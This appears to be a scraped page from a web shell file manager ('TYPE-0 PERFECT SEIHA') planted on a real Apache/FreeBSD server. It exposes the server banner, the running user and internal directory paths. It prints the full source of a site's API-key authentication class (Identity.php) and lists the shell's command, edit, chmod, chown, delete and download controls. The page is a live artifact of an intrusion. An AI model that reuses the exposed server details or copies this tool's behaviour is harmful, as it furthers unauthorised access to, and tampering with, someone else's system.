TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
app
application
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/app/application/Identity.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Application; use RestServer\Exceptions\AuthenticationException; use RestServer\Exceptions\MissingRequiredParameterException; use RestServer\IIdentity; use Nette\Database\Context; use Nette\Http\Request; use Tracy\Debugger; /** * Identity * @author Jan Pospisil */ class Identity extends \Nette\Object implements IIdentity { private $userRow; private $connection; private $httpRequest; public function __construct(Context $context, Request $request){ $this->connection = $context; $this->httpRequest = $request; } public function getId(){ return $this->getRow() ? $this->getRow()->id : NULL; } public function getRow(){ if($this->userRow === NULL){ $this->userRow = $this->getUserRowFromKey(); } return $this->userRow; } private function getUserRowFromKey(){ $apiKey = $this->httpRequest->getHeader('ApiKey'); if($apiKey){ $apiKeyRow = $this->connection->table('api_key')->where('key', $apiKey)->fetch(); if($apiKeyRow) return $apiKeyRow->user; } elseif($apiKey = $this->httpRequest->getQuery('ApiKey')){ $apiKeyRow = $this->connection->table('api_key')->where('key', $apiKey)->fetch(); if($apiKeyRow) return $apiKeyRow->user; } return FALSE; } }
Crotin
Name
Size
Permissions
Modified
User/Group
IdentityControl.php
566
0644
2016-04-11 23:49:46
Unknown/Unknown
TestRest.php
330
0644
2016-03-05 11:29:28
Unknown/Unknown
Application.php
221
0644
2016-03-05 11:29:28
Unknown/Unknown
SmtpMailerFactory.php
336
0644
2016-03-05 11:29:28
Unknown/Unknown
Identity.php
1299
0644
2016-04-16 10:22:12
Unknown/Unknown
SendmailControl.php
1472
0644
2016-03-05 11:29:29
Unknown/Unknown
FileMailerFactory.php
604
0644
2016-03-05 11:29:28
Unknown/Unknown
TexyAccessor.php
341
0644
2016-03-05 11:29:29
Unknown/Unknown
LinkBuilder.php
666
0644
2016-03-05 11:29:29
Unknown/Unknown
IMailerFactory.php
302
0644
2016-03-05 11:29:29
Unknown/Unknown
Logger.php
600
0644
2016-04-12 00:36:44
Unknown/Unknown
FsKempyRest.php
210
0644
2016-03-05 11:29:29
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin